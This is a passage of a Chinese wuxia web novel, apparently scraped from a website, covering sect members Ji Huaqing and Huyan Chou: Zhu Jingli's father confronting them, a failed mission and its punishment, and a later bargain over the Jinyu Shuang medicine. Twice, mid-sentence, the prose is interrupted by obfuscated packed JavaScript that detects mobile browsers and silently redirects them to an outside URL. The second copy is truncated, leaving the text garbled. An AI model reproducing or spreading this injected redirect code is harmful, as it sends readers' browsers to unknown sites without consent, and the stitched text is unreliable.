那日渔戏后,和姬花青、花道人以及覃七霄一起回住处的路上,他一直有些心不在焉。朱镜离凑近他时看向他的眼神,既天真,又大胆,是少女特有的羞涩热烈,这样的眼神他从没在姬花青脸上见过,即使是在二人最暧昧的那段时间,姬花青也从未对他展露出这样的神情。那时,朱镜离睫毛投在脸上的阴影,颊上水蜜桃般的绒毛,说话时张合的樱唇,以及她转身离开的前一刻那俏皮风情的眼尾,在之后很长一段时间都在他心中挥之不去。 再之后白府的一个侍女偷偷递给了他一张字条,他按照字条上所写来到白府的一处僻静所在,等他到了后,他看见那日渔戏耐心传授他技巧的少女就站在那里。 她的身姿婀娜娴雅,她发间的粉纱发带在风中轻轻拂动。 他们从武功开始谈起,朱镜离虚心地向他请教,少女的神色极是认真。呼延酬忽然变得很耐心,连他自己都对此感到惊讶,他讲得很详细,就这样不知不觉中,一个下午就过去了。 再之后他们开始切磋武艺,开始谈论诗词歌赋,直到有一天,朱镜离突然踮脚凑上前来。 他忘不掉那个突如其来的吻。 这个娇弱的女子却用如此热烈的方式表达自己的爱意。 他怔愣在原地,少女的唇从他唇上离开后,她说:“你的眼睛真美,像碧玉,又像深林中的一泓泉水。”她说这话时抬头看向他的眼睛莹莹闪烁,里面仿佛有天上的星星。 在从前,他眼睛的颜色向来是受那些水西人嘲讽、讥笑的。 可有一天,一个人告诉他,它们很美。 他抱住了眼前少女温软的身子,抱得很紧,很紧。 他找到了自己心的归属。 不知不觉间,雨停了,呼延酬侧头看向窗外漆黑的夜空,也慢慢闭上了眼睛。 99. 雁磐(八) 庙中歇宿一夜后,天亮后姬花青、呼延酬便动身去跟花道人汇合,朱镜离也跟着呼延酬,似乎并不着急回去白府。 玄同教两路人马在临蓟郊外一处所在碰了面,花道人和覃七霄看见朱镜离,相互对视了一眼,姬花青跟他们说起白濛已死的消息,玄同教其他人都松了口气,这样一来,他们总算可以回水西复命了。 在姬花青讲述她和呼延酬这一路的大致情况时,花道人和覃七霄仍有意无意瞟向朱镜离,覃七霄想:“这真是个好漂亮的姐姐!”花道人心想:“难不成呼延左使要把这朱家的小娘子带回水西去?” 姬花青说完后,本想继续跟其他人商量找船家渡江的事,这倒霉地方她是一刻也不想再待下去了,但又想到朱镜离还在这,不知她和呼延酬接下来是个什么打算,便看向呼延酬,又看向朱镜离,道:“你们……呃……” 一个念头在姬花青心中快速闪过,朱家和白家知不知道朱镜离出来了?而且和呼延酬这种白道武林视为恐怖魔头的人在一起?啊对不起,她自己也是恐怖魔头,现在朱镜离身边的所有人都是。而那白家少爷貌似又恋着朱镜离,若朱镜离和呼延酬一走了之,这之后怕是要牵缠出很多事啊…… 就在姬花青尚自组织语言,在心内千叮咛万告诫自己千万别把“私奔”两个字脱口说出惹朱镜离和呼延酬不快时,突然听见一道尖锐沙哑的男声传来:“我看见了,在那!”这声音又有些许稚嫩,听着像少年音色。 众人忙朝人声传来的方向转过头去,朱镜离更是浑身一颤,耳朵上的银坠子剧烈晃了几晃。 只见一中年男子并一十二、三岁的少年施展轻功朝他们这边赶来,片刻之后,两人便来到了玄同教众人跟前。 朱镜离一开始低着头,最后还是看向那中年男子,小声道:“爹……” 那中年男子瞪视朱镜离,道:“跟我回去!我朱显坪怎么会生出你这么个不要脸的女儿!”别说打招呼了,他完全无视了周围玄同教的人,似乎除了朱镜离,其他人都是透明的一般。 那少年小小年纪,却也摆着张臭脸对朱镜离皱眉道:“姐姐,听爹的话,回去!” 姬花青见到来人已经有了些预感,又听朱镜离叫那中年男子爹,又听这对气势汹汹的父子说他们是朱镜离的父亲与兄弟,姬花青心想,真是怕什么来什么,好嘛,麻烦这就来了! 呼延酬踏出一步,挡在朱镜离面前,一语不发地看着朱显坪。 朱显坪看呼延酬这个架势,又见朱镜离娇娇怯怯地躲在呼延酬身后,一下便知道他女儿的情郎就是这小子了。 先前白氏家主白晋让玄同教众人搬出白府,朱显坪只知道女儿朱镜离是跟这次来白府的铸造古堡的人好上了,但具体是哪个他也不清楚。 这下正主露了相,朱显坪也看着呼延酬,一语不发。姬花青、花道人等围观的玄同教众人都觉得这是暴风雨前的宁静。 朱显坪直直盯着呼延酬的脸看了一阵,从鼻子中呼出一串气,道:“镜离未来的夫婿是白家少爷,不是水西不知哪个山野乡间冒出来的野小子!她应该是身披绫罗绸缎的贵妇人,而不是村妇!”姬花青、花道人等人看朱显坪反应,似乎还不知道呼延酬以及他们是玄同教的人。玄同教总坛位于雁磐山,说山野乡间倒也没什么问题,但无论是水西还是水南的武林白道中人,一旦知道自己对面的是玄同教徒,要么惊慌失措要跑,要么大惊小怪如临大敌要召其他白道中人来共同剿魔,反正决不会是这个反应。 不知道就好。 呼延酬生得高大,他又上前一步,俯视朱显坪道:“要不要回去,应该尊重镜离自己的想法。” 姬花青见了这一幕,心想要不要现在就把关系搞这么僵,眼前的可是未来的岳丈诶!万一之后老父亲心软了同意女儿跟你呼延酬在一起,但想起今天这一幕二拜高堂的时候会不会搞得很尴尬啊?以后这个翁婿关系要怎么处啊?哎哟只懂逞一时之气,一点都不为今后考虑,呼延酬真是个蠢货。 朱显坪嘴角抽动了一下,他越过呼延酬看向朱镜离,道:“她的想法?哼!那蠢丫头连自己被骗了都不知道,她的想法有什么意义?” 姬花青心道:“说朱姑娘被呼延酬骗了?我本来还觉呼延酬那傻帽才是被骗的那个嘞。”之前姬花青看呼延酬和朱镜离发展得那么快,心里还想从某种角度来说,呼延酬真是蛮好搞定的。 朱镜离突然抬起头道:“我知道自己在做什么,我没被骗!” 朱显坪道:“被骗的人往往都不觉得自己被骗。”他顿了顿,抬眼看着朱镜离,“算了,现在扯这些都是空话,不管你有没有被人骗,你都只能是白氏家主的正妻。” 朱镜离抽了一口气,表情凄怆。 呼延酬不再理会朱显坪,回头对朱镜离道:“镜离,你愿不愿意跟我去水西?只要你说愿意,我就带你走!” 姬花青心想,得了,这下我们是不是还得帮他抢老婆? 朱家父子显然被呼延酬这一举动激怒,朱显坪伸手对朱镜离一指,怒道:“你敢去水西,我打死你!” 朱显坪的儿子,那少年朱骏嵘也尖声叫道:“好你个村夫,敢诱拐我姐姐!” 这对父子虽然看上去气急败坏,甚至狠话也说了,但都只在原地暴跳,都没有动手。 呼延酬朝朱镜离伸出右手,只静静地、耐心地等待朱镜离的回应。 朱镜离忽然抬头,眼中含泪地看着呼延酬,道:“酬哥……对不起,我……我还是不能就这样抛下所有跟你走……” 这回轮到姬花青和花道人、覃七霄三人面面相觑了。 先前朱镜离和呼延酬都黏糊成那样了,朱镜离的回答跟他们想的有点不一样啊? 呼延酬看上去是真有些急了,他对朱镜离道:“镜离!你不想回去就不回去!这么勉强自己是做什么?” 朱镜离一边摇头一边眼中含泪,道:“酬哥……你……不要说了,不要再说了……”呼延酬闭了嘴,但脸上的表情疑惑又伤心。 朱镜离从呼延酬身侧穿过,去到了他父亲朱显坪旁边。 朱显坪看向呼延酬,哼了一声,携朱镜离和朱骏嵘拂袖而去。 一旁玄同教众人都沉默了,见事情发展到如今这个地步,姬花青都觉得呼延酬不会真是被骗了吧?但朱家似乎也没从他们这边得到什么东西,难道朱镜离只是单纯地馋呼延酬的肉|体??? 姬花青猛然一悚。 不,不对—— 不是有形的东西,但可能是无形的情报! 呼延酬倒是告诉了朱镜离他们的真实身份,但白濛已死,他们玄同教众的身份暴露了却也没什么大问题,怕就怕在呼延酬飘飘欲仙一时忘乎所以,与朱镜离软语温存间还说了些别的什么东西。 比如穆禾的存在。 姬花青垂眸沉吟,呼延酬虽然与她不和,但她承认他是个妥当的人,将玄同教此种密辛说出来的可能性虽然不能说没有,却也极小。退一万步说,假使呼延酬将这些告诉了朱镜离,之前三人被困山洞时,朱镜离主动跟姬花青提起过呼延酬告诉她自己与姬花青二人为玄同教左右使,若朱镜离接近呼延酬是为了探得情报,又怎会自己说出如此会引起人警觉的话呢?再说玄同教在武林白道之间名声本就不好,白道训诫子弟都说玄同教中人如鬼如蜮,若姬花青是那谨慎狠辣些的魔头,当场便能要了朱镜离性命,她若有探取情报的心机,便应当不会主动提起这事。再者,方才看朱氏父子的反应,他们至今都不知道这些“铸造古堡”的人其实是玄同教中人,若朱镜离之前就知道了他们这些玄同教徒的真实身份,而她又是专门被派来探知情报的,会不把这么重大的消息及时告诉朱家的人的吗? 看来,朱镜离确实没有将呼延酬等人的身份告诉别人,她之前说自己与朱家、白家关系并不是那么紧密应当也不是假话,至于现在为什么不愿跟情郎一起离开,大约是有别的原因。 毕竟很多时候,抛弃一切跟情人私奔并不是一个明智的决定哪。 不过假若呼延酬真把什么不该说的泄露了出去,姬花青想,那么她会杀了呼延酬。 她这样想着,看向呼延酬的背影,而后者正望着朱镜离离去的方向,站在那一动不动,光从背影都可看出他的怅然若失。 ------------------------------ 这之后,姬花青、呼延酬、花道人回到了雁磐山总坛,而偷偷跟出来的覃七霄,当然,回去后被他爹将屁股打开了花。总之,水南的事算是告一段落。 此后过了一年左右,姬花青和呼延酬又被派出一同执行一项任务,跟他们一起的还有北护法郗鸿杳,东护法冉苏眉,西护法邬襄,花道人,以及覃七霄。 覃七霄这次不再是偷偷出来了,水南那次以后,他爹也愿意逐渐放他出来跟着教中其他人一起下山历练了。 自从上次从水南回来,呼延酬对姬花青的态度就越发冷淡,姬花青感到莫名其妙,好像他和朱镜离是她拆散的一样。况且是不是拆散还另说,呼延酬大概也意识到了自己疑似被骗心骗身,他本来话就不多,这之后愈发沉默。 本就不对付的两人又被凑到了一块做事,从雁磐山下来后姬花青和呼延酬就因为诸多小事摩擦不断,其他人只好充当和事老。 花道人悄悄问覃七霄道:“他们两个谁先开始的?” 覃七霄身心俱疲,道:“老头,你别问了行不行?” 花道人嘴唇上方的胡须飞了起来,道:“什么老头?我才三十多岁,不准叫我老头!” 虽然磕磕绊绊,但任务也好歹在推进,这日玄同教众人追踪目标来到一座小山下。 玄同教众人此行的目的便是活捉一个人,而那人此刻正在山顶的寨子中。这座山一面是缓坡一面是陡坡,陡坡几乎与地面垂直,缓坡那边则设了数道卡子。 玄同教众人都摩拳擦掌,想着赶紧将人抓住捆了带回去交差,与姬花青和呼延酬同行了几天,其他人多少都有些受不住了。说来也怪,这两人单独在一边都没什么问题,然而一旦凑到一起简直是灾难。所有人都觉得跟敌人痛痛快快酣畅淋漓地打一场比调节姬花青和呼延酬两个人之间的矛盾轻松多了。 但要命的是,关于如何将人抓住,姬花青和呼延酬又产生了分歧。 呼延酬道:“让我们的人围在山脚,二使者、三护法各带一队好手往上冲,将他们设下的卡子一道道攻破,最终拿下山顶的敌寨。” 呼延酬才说完,姬花青就道:“不妥,地势对他们有利,我们若强攻上去不过是无端消耗己方的人力物资。我认为应当分派几名好手直接从陡坡在不引人注意的情况下攀上去,悄无声息地潜入敌寨,找到我们要的那人,再将他带出来。” 呼延酬冷笑一声,道:“天真,敌寨岂是想潜入就能潜入的?那里面巡逻站岗的人就跟蜂巢里的蜜蜂一样密集,还没等找到人,我们的人就先被擒住了。” 姬花青道:“那正面强攻就比这好了?等着他们利用地势慢慢将我们消耗殆尽?” 呼延酬道:“我们在山脚将他们围住,他们的人出不来,寨内的物资有限,又能撑多久?” 这回换姬花青冷笑了,她道:“就我所知这山寨中储存的物资够里面所有人生存两年!” 郗鸿杳、冉苏眉、邬襄、花道人、覃七霄一会转头看向呼延酬,一会看向姬花青。 呼延酬道:“潜入?说来轻巧,反正不是你潜入。” 姬花青直视呼延酬,道:“我会亲自去,就我一个人也可以。” 呼延酬盯着姬花青,道:“不管你怎么说,我不会照你说的做。” 姬花青怒视着呼延酬,突然,她笑了,只见她凑到呼延酬耳边道:“难道我会照你说的做?也不是不可以,在临蓟城郊那座破庙中时,你好温柔,你也对我这么温柔一下嘛,你若对我这么温柔一下,说不定我就答应照你说的做啦,不仅如此,我还能答应你一些别的呢。” 听姬花青提起这茬,呼延酬手指一颤,他看向姬花青,眼神直欲噬人。 姬花青知道裴秉延现在还没从水南的那场绮梦中走出来,而这一年中他迁怒于自己的行为也早让姬花青不满,这时二人矛盾爆发,便说了出来。 呼延酬瞪着姬花青咬牙一字一字道:“谢了,我无、福、消、受。” 这个气氛压抑恐怖得让覃七霄终于受不了了,他赶紧道:“别吵了别吵了,劲儿往一处使,往一处使啊!”他怕自己再不出来阻止,姬花青和呼延酬能先跟自己人打起来。 就在这时,忽然闻得一阵嘈杂之声从山上传来,玄同教众人皆是一惊,忙往山上看去,只见一大群人从山上冲下来。 他们竟自己从寨中出来了! 郗鸿杳、花道人、冉苏眉、邬襄忙率玄同教众上前堵截,然而这些从山上冲下来的人似乎并不想和玄同教的人交手,而是只顾逃跑。对面人数极多,玄同教的人难免左支右绌,堵住了这边那边就生出了缺口,并且从穿着来看根本分不清这些从山上冲下来的人的身份,看来他们要抓的人正是想要利用这一点逃出生天。 而即使是在这种时候,姬花青和呼延酬仍只看着对方。两人的理智都清楚眼下不是内讧的时候,但一时的情绪占了上风,二人都觉得必须在此时彻底压过对方,否则谁都咽不下这口气,除此之外什么也顾不上了。 两个人心中都想,反正有玄同教其他人在,在人群中抓住一个人应当不难。但就是因为少了两个人,少了两个武功高强的主力,因为姬花青和呼延酬二人的缺席,导致了他们此行唯一目标的成功逃亡。 带着任务失败的消息回到总坛后,康忱守从其他人模糊的言语中推测出了问题大概出在呼延酬和姬花青身上,之后再单独找花道人一问,花道人长长地吐出一口气,显出为难的神色,最终还是一五一十地把事情经过全部跟康忱守说了。 这日雁磐山上几名玄同教徒聚在一起闲聊,一名玄同教徒道:“所以这次左使和右使一起出马,任务竟还会失败?” 另一人道:“听说就是因为他俩任务才失败。” “这不得受罚?说起来他俩人呢?” “已经在受罚的路上了,教主点他们俩,单独找他们问话呢。” 七星楼中,康忱守垂手站在一边,姬花青和呼延酬并排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794460|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站着,大气不出一声。两人正前方,一个修长的身影背对他们站着。 空气如同凝固了一般。 蓦地,那人开口道:“呼延酬,姬花青,你们两个吵完了吗?”语气平静,听不出说话之人的喜怒,这句话本身也算不上多么严厉,在场之人却都感到头上威压重若千斤。 二人没有回答。 穆禾转过身来,看着呼延酬和姬花青。 沉默片刻后,穆禾道:“办不好事就不要办了。因为一时口角之争,坏了我教大事。你二人各自减去半年俸禄,呼延酬,讼、巽、艮、小畜、大有那几个分坛的事就不用你操心了。”他看向康忱守,“交给鹿怀甫。”康忱守朝穆禾恭敬颔首,穆禾又道:“姬花青,一会离开后去院墙那站两个时辰。你们二人都记住,下不为例。” 姬花青和呼延酬同时拱手道:“是,教主。” 穆禾看向窗外:“那么现在就来想一下要怎么处理残局吧。” 康忱守、姬花青、呼延酬各自说了自己的想法后,穆禾道:“忱守留下,你们两个先下去吧。” 姬花青和呼延酬道:“是。” 姬花青既是穆禾的下属,也是他的弟子,所以被罚面壁是一件很正常的事。这也不是姬花青第一次被罚面壁。 她从下午站到了天黑。夜幕中,姬花青闭目静静立在那里,忽然,身后有细微的动静传进她的耳中。 姬花青眼皮略抬,她不能回头,于是只把眸子向旁边转去,道:“何事?” 姬花青不知道身后的人是谁,但这是在玄同教内,来人只可能是教里的人。 郗鸿杳的声音传来:“右使,呃……” 北护法郗鸿杳总管水西北部的分坛和事务,而每天从水西各处送来雁磐山的情报都归右使姬花青统合整理。刚好郗鸿杳有重要的情报要来上报姬花青,但此时姬花青正在受罚,郗鸿杳不欲在上司境遇尴尬时露面,然而这情报又比较紧急,于是在姬花青身后犹疑不决,正踌躇不定时,却先被姬花青发现了。 姬花青道:“说吧。” 郗鸿杳道:“是。” 姬花青听郗鸿杳汇报时,全程都对着墙壁,但她的眼神立即变得认真起来,她在聚精会神听着郗鸿杳的汇报。 汇报完毕,郗鸿杳告辞。待人离开后,姬花青抬头望向墙壁上方。 随后的日子里,教众闲聊,说起这次左右使的事—— “最后怎么处理的?” “各打五十大板,一个罚俸交权,一个罚俸面壁。” 这件事之后,姬花青和呼延酬在教中似乎有意相互避开。而再是一年后,姬花青叛离玄同教,又过了一两年,呼延酬被派去长驻水南临蓟。 ------------------------------ 姬花青的目光落在呼延酬的枪上。 这么多年过去了,他还把那穗子系在枪上。姬花青记得那是他们第一次到临蓟时呼延酬就系上的。 姬花青本以为八年前朱镜离在父亲和呼延酬之间选择了前者后两个人就结束了,没想到这二人最终还是走到了一起。 这几年到底发生了什么? 昨晚姬花青和呼延酬在临蓟城郊的树林里差点相撞,只因多年未见各怀心事,且二人擦身而过不过匆匆一瞬,再加之夜色沉郁,所以二人都没有认出对方。 而朱镜离前来药铺寻找丈夫,在远处第一眼就认出了姬花青,她对玄同教诸人福了一礼后,又对姬花青点头笑了笑。 姬花青对朱镜离亦点头一笑,对朱镜离和呼延酬夫妻二人道:“这么些年过去,没想到你们已为人父母,可是二位容色依旧,风采不减当年。”话语里似含有无限感慨。 覃七霄惊讶睁眼对呼延酬道:“什么……呼延大哥,你成亲了?这是……嫂子?”他这句话,其实是在场其他人共同的疑问,郗鸿杳、冉苏眉、邬襄、花道人、甯元元都不住往朱镜离那边看,眼里满是好奇之色。 呼延酬点头道:“是啊。”他看向花道人,道:“花道兄应当是见过的。”又复对覃七霄道:“七霄你也是见过的,就是之前来临蓟那次,只不过那时候你太小,可能记不得了。”他抱着孩子,对朱镜离笑道:“你可知这位小兄弟是谁?” 朱镜离捂嘴笑道:“听你这么说我就知道了,就是那位七霄小朋友么?都长这么大了,那会长得就乖,现在大了是帅!” 呼延酬下巴朝雨馀凉点了一下,道:“这位小兄弟是谁?”在场之人中,只有雨馀凉他不认得。 雨馀凉之前听姬花青说眼前这个带有胡人长相的高大男子就是玄同教左使,他回想起之前姬花青对玄同教左使的评价,方才亲眼目睹姬花青先是二话不说就刀剑齐出与呼延酬拼斗,之后二人又说不打了就停手,正自思考二人关系时,听见话题突然落在自己身上,不由得一愣。 姬花青略微一顿,道:“这是我徒弟。”既然玄同教诸人已认定雨馀凉是她徒弟,她也不好在这时又说不是,只好将错就错下去。 呼延酬笑了一声,道:“你还会收徒?说起来这几年你去哪了?” 姬花青没有直接回答呼延酬的问题,只道:“这可就说来话长了。” 朱镜离看了一眼呼延酬,道:“难道你和诸位朋友就这样在大街上说话?不请到家里来坐坐么?” 呼延酬笑了,看着朱镜离道:“夫人说的是,还是你周到。”他抬头望向玄同教诸人,道:“如不嫌弃,就请各位到寒舍一叙,喝上一盅热茶如何?” 玄同教诸人本就要与呼延酬商讨教中的事,而大街上也确实不是说话的地方,既然呼延酬夫妇盛情邀请,也就欣然答应了。 但姬花青如今并不是玄同教的人。 姬花青想,郗鸿杳等人到呼延酬家去,多半是要商讨教内事务,先不说呼延酬似乎并没有邀请自己,以自己现在身份去肯定是不合适的。 但她有问题要问呼延酬,既然呼延酬已经来到临蓟数年,期间又与朱镜离结为了夫妻,虽然不知道朱镜离的父亲是怎么答应的,又或者根本就没答应,反正,朱镜离与白氏有着千丝万缕的联系毋庸置疑。她要找到金玉霜,说不定可以从这对夫妇身上寻得线索。 既然如此,她便之后找个时间单独去找呼延酬朱镜离夫妇。 姬花青正盘算着,呼延酬突然看向姬花青和雨馀凉,道:“你和这位雨兄弟也来吧。” 呼延酬能对她说出这话倒是出乎姬花青的意料,呼延酬就是这样,总是在让人对他的印象差到极点时做出一些让人对他的看法改善的事。 但是……姬花青看向玄同教诸人,他们怕是不方便。 呼延酬道:“没关系,等我们要说事的时候你提前走就行了。” 既然呼延酬都这么说了,姬花青点头道:“那就叨扰了。”说着携雨馀凉一同跟上了众人。 自从呼延酬十分坦然地告诉众人他已经有妻子后,姬花青便注意到甯元元的眼眶红了,她又想起之前康容儿听鹿怀甫提起呼延酬时的表情,心想,呼延酬一声不吭地就成了亲,这下可不止一个人心碎,她看向呼延酬的背影,心道:“你还真是罪孽深重。” 100. 交易(一) 姬花青等一众人随着呼延酬夫妇来到一扇院门前,甫一开门,一个小小女童就如一根离弦的箭般奔了过来,只见她一头扑进朱镜离怀里,用稚嫩又清脆的童声朝朱镜离叫道:“妈妈!” 朱镜离脸上显出慈爱的神色,两手捧着女儿的脸,道:“烟儿,爹和娘回来了。” 那女童又转向呼延酬,拉住呼延酬没抱着弟弟的那只手一晃一晃,道:“爹爹,你可回来了,烟儿等了好久好久!”呼延酬一边疼爱地笑着,一边摸了摸闺女的头。小女孩约莫四五岁,头两边各扎着一条小辫,细软的头发从呼延酬指间滑过。 女童似乎这时才看到爹娘身后还站着好几个人,她睁着圆溜溜的眼睛,好奇地看着姬花青以及其他玄同教之人。 呼延酬用极温柔的语气道:“这些都是爹爹的朋友。”他一手抱着儿子,一边向女儿介绍道:“这是花伯伯。” “这是郗姑姑。” “这是冉姑姑,邬叔叔。” “这是覃哥哥,尹哥哥,甯姐姐,雨哥哥。” “这个是姬姑姑。” 呼延酬向女儿介绍完毕后,接着对姬花青以及玄同教诸人道:“这是我女儿,大名叫作呼延兰烟。”众人皆对呼延兰烟一笑。而在回家的路上,呼延酬和朱镜离就已告诉其他人襁褓中的是二人的儿子,名叫呼延麒。 姬花青不知道,当年呼延酬和朱镜离在临蓟那家香薰铺子买香料时共用的名字正是“兰烟”。 呼延酬又转向呼延兰烟,道:“烟儿,怎么不喊人?” 呼延兰烟躲在母亲身后,只露出一张小脸看着今日来到家中的这些客人。 朱镜离一边摸着女儿的头侧,一边也不断催促女儿跟众人打招呼,在父母的再三要求下,呼延兰烟扭扭捏捏了好一阵,最终才用极小的声音叫道:“鸡咕咕。” 呼延酬一口气跟呼延兰烟介绍了那么多人,小孩子实在记不住,而姬花青是呼延酬介绍的最后一个,再加上“姬姑姑”莫名跟“鸡咕咕”同音,所以呼延兰烟对这个称呼印象最深,于是只喊了姬花青一个人。 姬花青轻轻“哎”了一声。 呼延夫妇将姬花青等人请进屋内,先让他们坐了,由呼延酬陪着说话,朱镜离则进到里间泡茶。 由院子进到屋里前,姬花青便朝四周望去,这是个收拾得十分整洁、敞亮的小院,院内一角栽种了各色花草,甚是鲜妍明丽。呼延酬向来没有侍弄花花草草的爱好,姬花青猜想这些平时大概都是朱镜离在打理。 一众人刚进屋,便看见一只浑身毛皮油光水滑的小猫喵喵叫着,呼延兰烟跑过去将小猫抱起。而屋内采光极好,布置得也很干净雅致。姬花青又见一旁的小几上置着个水晶玻璃瓶,瓶内插着几支新鲜的花,看种类和颜色应当正是从院里的花丛剪来。从院落和屋内的布置无一不难看出这家主人对生活的极度热爱。 呼延酬这几年过得倒是不错,姬花青想。 因着姬花青和雨馀凉在这,玄同教众人果然没有从一开始就聊教内的事,而是与呼延酬闲话家常。姬花青在一旁听着,于是便知道了呼延酬一家每十天都会去城东的戏台子看戏,他们有经常光顾的糕饼点心铺子,而每次看完戏夫妇俩都会带着孩子去到那家铺子买糕点。夏天天气晴朗的时候,一家人会一起躺在院子里看星星,既是纳凉,同时夫妇俩也会教孩子识认天上的星星。 姬花青听着这些,想,呼延酬现在过的真是跟以前很不一样的生活,而跟自己现在过的生活也很遥远。 呼延兰烟一会哒哒哒跑进里间,一会又跑出来到呼延酬身边撒娇,这个年纪的孩子是坐不住的。 冉苏眉看着呼延兰烟,问道:“烟儿还没学|运气么?” 呼延酬道:“没有。我们没打算让她走这条路。” 覃七霄道:“真是可惜,呼延大哥你武功那么好,有这么个爹手把手教,烟儿若是习武,以后不得强无敌?” 此时朱镜离端着托盘走过来,在每个人面前放下一杯茶,道:“武林是非太多,我们只希望两个孩子能平平安安长大。”她说完,又端出一盘洗过的水果摆在桌子中央,道:“各位不要客气。” 众人又说了一会,渐渐地就没什么话了。姬花青想:“他们等我走后还要说教里的事呢,我得识趣一些。先趁这时把要问呼延酬的问了,之后就和馀凉回客栈。”于是对呼延酬道:“呼延大哥,我有事想单独问你,可否借一步说话?”说毕又看向朱镜离,眼神中似乎在征求朱镜离的同意。 呼延酬道:“走吧。”说着便从椅子上站起。姬花青也起身,两人一同步入院中。 朱镜离对玄同教诸人道:“你们先坐,我再去拿些点心过来。”说完亦起身离开。 花道人手掌在颊边竖起,悄声对坐在旁边的覃七霄道:“老婆还在这呢,这两人就急着独处,是不是不太合适?” 覃七霄道:“最不合适的就是你这张嘴,你闭嘴行不行?” 姬花青和呼延酬来到院中,此刻外面天已经全黑了。夏天的夜晚虫鸣声声,而这院里似乎种了一种到了晚上香气才变得浓郁的花,花香一阵阵飘过鼻尖,姬花青开门见山道:“呼延大哥,如今的白氏家主是不是一个叫作白玄逸的人?” 呼延酬道:“你消息还挺灵通,不错,的确如此。”自从姬花青叛教后,呼延酬跟姬花青就再也没见过面,在呼延酬的认知中,姬花青对白氏的了解应该还停留在八年前他们离开临蓟的时候。 姬花青道:“你如今既与朱姑娘结为连理,而朱氏又和白氏有着密切的关系,那么你知不知道白氏有一种家传秘药——”姬花青顿了顿,“金玉霜,又叫作金玉满堂霜。” 呼延酬道:“……知道,怎么了?” 姬花青眼中显出了迫切,她道:“呼延大哥可知道如今白氏的金玉霜放在哪?” 呼延酬一手叉腰,低头迎上姬花青的眼神,道:“五年前,我受教主之命来到临蓟。” “自从之前临蓟一别,我以为我与镜离再也不会有任何交集,可没想到五年前我和她再次相遇,并破除所有阻碍,最终在了一起。”他既要向姬花青提出接下来的要求,就不避讳跟姬花青说起这些事。 姬花青脸上露出疑惑之色,呼延酬没有回答她的问题,反而在说一些毫不相干的东西,甚至是不大适合她这个外人听的东西。 呼延酬脸上微露笑意,他垂眼看着姬花青,道:“你要想知道金玉霜的下落,就得先帮我做一件事。” 姬花青脸色微变,道:“什么?” 呼延酬道:“天下没有白来的好处,要想从别人那里得到东西,自己就得拿出诚意来。你离开你师父后,也算独自在江湖上闯荡了好些年,我以为你明白这点的。” 姬花青道:“我以为看在我们从前交情的份上,你会直接告诉我。” 呼延酬哈哈笑出声来,道:“交情?姬花青,我们之间有那种东西吗?” 姬花青也嗤的一声笑了,道:“呼延酬,你说得对,我们之间没有那种东西。” 呼延酬道:“那么,现在,选吧。” 姬花青上前一步,抬眸盯着呼延酬,道:“呼延酬,你真是个混蛋。”她此次来临蓟到只为拿到金玉霜,并不想被牵扯进其他江湖恩怨之中,况且以呼延酬的武功,连他都需要别人帮他做的事,难度不会太小。 呼延酬道:“的确,我不是专门布施的大善人,所以你的选择是?” 姬花青胸口起伏了一下,道:“我答应帮你办事就是。” 呼延酬的声音从姬花青头顶上方传来:“成交。” 姬花青道:“现在,你是不是该告诉我要做的事是什么?” 呼延酬道:“五年前,我再次来到临蓟,一次偶遇后,镜离决定抛下家族、抛下一切跟我在一起。” 姬花青道:“啊,我以为你俩如今能结为连理是经由他爹同意的呢。他爹叫什么来着?朱显坪?对,是叫这个名。”姬花青又道:“不过我很好奇,为什么八年前她不愿跟你离开,再过了三年却愿意抛下一切跟你走?然而不仅你岳父不同意你俩的事,白氏那位少爷肯定也觉受到了奇耻大辱,你们怎么还能安安稳稳地在临蓟过日子?” 呼延酬道:“你也知道白氏家主换了人,家主既已不再是白晋,曾经的那位白氏少爷自然也不再是少爷了。” 姬花青道:“所以五年前白晋就已被赶下了家主之位?”姬花青用隐容术改变外貌去找白广宴是四年前的事,那时她便知道白氏家主已不再是那个喜欢玩渔戏的白晋。只是那个时候的她已然认为这些武林世家的权力更迭跟自己毫无关系,只要能达成她的目的,哪怕白氏家主是一头骡子都无所谓。 呼延酬道:“准确地说,是六年前。” 姬花青道:“这跟我们要做的事有什么关系么?”话题似乎有些扯得太远了。 呼延酬道:“你耐心听我说完,急什么?六年前将白晋赶下家主之位的正是朱显坪。” 姬花青道:“朱显坪?他不是一心要将女儿嫁给白氏少爷,他这么做的动机是什么?” 呼延酬道:“白氏少爷只是个名号,又不是某个固定的人,只要新上任的家主有儿子,白氏少爷永远都不会缺。况且——”呼延酬眼神突然变得凌厉,“也不一定非要是白氏少爷,直接跟白氏家主成亲也不是不可以。” 姬花青忽然想到昨晚白广宴说白玄逸是在幕僚朱氏的帮助下取代他成了白氏家主,是了,朱氏!那个时候她怎么没想到这会跟朱镜离有关? 姬花青道:“所以白广宴取白晋而代之,白玄逸取白广宴而代之,操纵这一切之人都是朱显坪?” 呼延酬道:“嗯,你推测得一点不错。” 姬花青想,朱显坪的最终目的要让女儿成为白氏女主人,而白氏家主又在他的操纵下一直在换人,她突然有些理解朱镜离为什么最终要背弃自己娘家了。 姬花青道:“他这么做意义何在?难道是觉得换家主游戏很好玩吗?” 呼延酬道:“朱显坪是个很有野心的人。” 姬花青道:“白氏上一个有野心的人已经死在那片树林里了。” 呼延酬知道姬花青指的是白濛,他低笑道:“不错。虽然我也不知道朱显坪将白氏家主换来换去有什么具体的意义,他可能是想学我们水西从前的一些掌盟,那些掌盟想要表现出自己大权在握,震慑其他人,就将卫氏族人轮番挑出来当盟主,过了一段时间废掉,再挑下一个。我对探究朱显坪的内心世界不感兴趣,但他手上有镜离和我要的东西。” 姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 